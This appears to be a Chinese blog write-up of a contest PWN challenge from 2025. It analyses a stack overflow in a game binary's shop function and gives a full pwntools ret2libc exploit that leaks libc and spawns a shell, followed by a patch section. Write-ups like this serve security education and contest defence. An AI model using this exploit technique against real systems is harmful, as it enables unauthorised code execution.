2025年江西省大学生信息安全技术大赛-决赛-PWN-gitlab

2025年江西省大学生信息安全技术大赛-决赛-PWN-gitlab

攻击

拿到附件直接分析,一道简单的ret2libc

主函数会先调用introduction()录入姓名,然后进行探险explore()

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char v5[512]; // [rsp+0h] [rbp-210h] BYREF
  int v6; // [rsp+200h] [rbp-10h]
  int v7; // [rsp+204h] [rbp-Ch]
  int v8; // [rsp+208h] [rbp-8h]

  init(argc, argv, envp);
  v3 = time(0LL);
  srand(v3);
  v6 = 100;
  v7 = 20;
  v8 = 0;
  puts("Welcome to the adventure game!");
  introduction(v5);
  explore(v5);
  return 0;
}

漏洞点位于explore()中的visitShop()

int __fastcall visitShop(__int64 a1)
{
  char buf[2]; // [rsp+1Ah] [rbp-6h] BYREF
  int v3; // [rsp+1Ch] [rbp-4h] BYREF

  puts("You discover a shop in the ruins.");
  puts("1. Buy health potion (20 gold)");
  puts("2. Buy a better weapon (50 gold)");
  puts("3. Leave the shop");
  puts("4. Exit");
  printf("Input 1, 2, 3, or 4: ");
  read(0, buf, 0xc8uLL);
  (__isoc99_sscanf)(buf, "%d", &v3);
  if ( v3 == 1 )
  {
    if ( *(a1 + 0x204) <= 19 )
    {
      puts("You don't have enough gold to buy the health potion.");
    }
    else
    {
      *(a1 + 0x204) -= 20;
      *(a1 + 0x200) += 30;
      puts("You purchase a health potion and gain 30 health.");
    }
    return visitShop(a1);
  }
  if ( v3 <= 1 )
  {
    if ( !v3 )
      return puts("You enter the unknown forest...game over...");
    goto LABEL_17;
  }
  if ( v3 == 2 )
  {
    if ( *(a1 + 516) <= 49 )
    {
      puts("You don't have enough gold to buy a better weapon.");
    }
    else
    {
      *(a1 + 516) -= 50;
      puts("You buy a better weapon and feel stronger!");
    }
    return visitShop(a1);
  }
  if ( v3 == 3 )
  {
    puts("You leave the shop and continue your adventure.");
    return explore(a1);
  }
LABEL_17:
  puts("Invalid choice, try again.");
  return visitShop(a1);
}

printf("Input 1, 2, 3, or 4: "); read(0, buf, 0xc8uLL);此处存在栈溢出完全可以打ret2libc,没什么好说的直接上exp

exp:

from pwn import*
from LibcSearcher import*
p = process("./pwn-awdp")
e = ELF("./pwn-awdp")
#libc = ELF("./libc-2.31.so")
context(arch = 'amd64',log_level = 'debug')
puts_got = e.got['puts']
puts_plt = e.plt['puts']


ph = lambda data : print(hex(data))
uu64 = lambda  : u64(p.recvuntil(b'\x7f')[-6::].ljust(8,b'\x00'))
psl = lambda data : p.sendline(data)
pc = lambda data : p.recvuntil(data)


pop_rdi = 0x00000000004010b3
ret = 0x00000000004006ae
main =0x00000000400847

def bug():
	gdb.attach(p)
	pause()
	
def choice(idx):
	pc("Input 1, 2, 3, or 4: ")
	psl(str(idx))	
	
#=======introduction=======	
p1 = b'1angx'
pc("What should your character's name be: ")
psl(p1)	

#=======explore========
#choice(1)
#pc("Input 1, 2, 3, or 4: ")
#bug()
choice(2)
p2= b'\x01\x00\x00\x00\x00\x00'+p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main)
#
pc("Input 1, 2, 3, or 4: ")
psl(p2)
psl(b'\n')
pc("You enter the unknown forest...game over...\n")

#=======leak the libc base ========
puts_addr = uu64()
ph(puts_addr)
"""
base = puts_addr - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))
"""
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump("puts")
system = base + libc.dump("system")
binsh = base +libc.dump("str_bin_sh")
#========get_shell========

sleep(1)
	
#choice(1)
choice(2)
p2= b'\x00\x00\x00\x00\x00\x00'+p64(0) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) 
pc("Input 1, 2, 3, or 4: ")
#gdb.attach(p)
psl(p2)
#pause()


#bug()
p.interactive()

修复

按理来说直接修改溢出点的字节大小就可以防住

int __fastcall visitShop(__int64 a1)
{
  char buf[2]; // [rsp+1Ah] [rbp-6h] BYREF
  int v3; // [rsp+1Ch] [rbp-4h] BYREF

  puts("You discover a shop in the ruins.");
  puts("1. Buy health potion (20 gold)");
  puts("2. Buy a better weapon (50 gold)");
  puts("3. Leave the shop");
  puts("4. Exit");
  printf("Input 1, 2, 3, or 4: ");
  read(0, buf, 2uLL); //改成两字节
  (__isoc99_sscanf)(buf, "%d", &v3);
  if ( v3 == 1 )
  {
    if ( *(a1 + 0x204) <= 19 )
    {
      puts("You don't have enough gold to buy the health potion.");
    }
    else
    {
      *(a1 + 0x204) -= 20;
      *(a1 + 0x200) += 30;
      puts("You purchase a health potion and gain 30 health.");
    }
    return visitShop(a1);
  }
  if ( v3 <= 1 )
  {
    if ( !v3 )
      return puts("You enter the unknown forest...game over...");
    goto LABEL_17;
  }
  if ( v3 == 2 )
  {
    if ( *(a1 + 516) <= 49 )
    {
      puts("You don't have enough gold to buy a better weapon.");
    }
    else
    {
      *(a1 + 516) -= 50;
      puts("You buy a better weapon and feel stronger!");
    }
    return visitShop(a1);
  }
  if ( v3 == 3 )
  {
    puts("You leave the shop and continue your adventure.");
    return explore(a1);
  }
LABEL_17:
  puts("Invalid choice, try again.");
  return visitShop(a1);
}

但是不知道为啥必须得修改gameover函数(希望有知道的师傅可以和我交流交流qaq)

狠狠的被打烂了

.text:0000000000400FD2                 call    ___isoc99_sscanf
.text:0000000000400FD7                 mov     eax, [rbp+var_8]
.text:0000000000400FDA                 test    eax, eax
.text:0000000000400FDC                 jz      short loc_40102E  ;此处将jz改为jnz即jnz  short loc_40102E
.text:0000000000400FDE                 mov     rax, [rbp+s]
.text:0000000000400FE2                 mov     dword ptr [rax+200h], 64h ; 'd'
.text:0000000000400FEC                 mov     rax, [rbp+s]
.text:0000000000400FF0                 mov     dword ptr [rax+204h], 14h
.text:0000000000400FFA                 mov     rax, [rbp+s]
.text:0000000000400FFE                 mov     dword ptr [rax+208h], 0
.text:0000000000401008                 lea     rdi, aGreatLetSStart ; "\nGreat! Let's start a new adventure!\n"

jz:为零则跳转,jnz: 非零则跳转

改完后:

__int64 __fastcall gameOver(__int64 a1)
{
  int v2; // [rsp+18h] [rbp-8h] BYREF
  char buf[2]; // [rsp+1Eh] [rbp-2h] BYREF

  puts((const char *)a1);
  puts("\tGame Over, your adventure has come to an end.");
  printf(
    "You collected %d gold, had %d health remaining, and reached level %d.",
    *(unsigned int *)(a1 + 516),
    *(unsigned int *)(a1 + 512),
    (unsigned int)(*(_DWORD *)(a1 + 520) / 20 + 1));
  printf("Do you want to play again? (1 for yes, 0 for no): ");
  read(0, buf, 2uLL);
  __isoc99_sscanf(buf, "%d", &v2);
  if ( v2 ) //原:if(!v2)
  {
    puts("Thank you for playing!");
    exit(0);
  }
  *(_DWORD *)(a1 + 512) = 100;
  *(_DWORD *)(a1 + 516) = 20;
  *(_DWORD *)(a1 + 520) = 0;
  puts("\nGreat! Let's start a new adventure!\n");
  introduction((void *)a1);
  return explore(a1);
}
posted @ 2025-11-02 14:34  1angx  阅读(8)  评论(0)    收藏  举报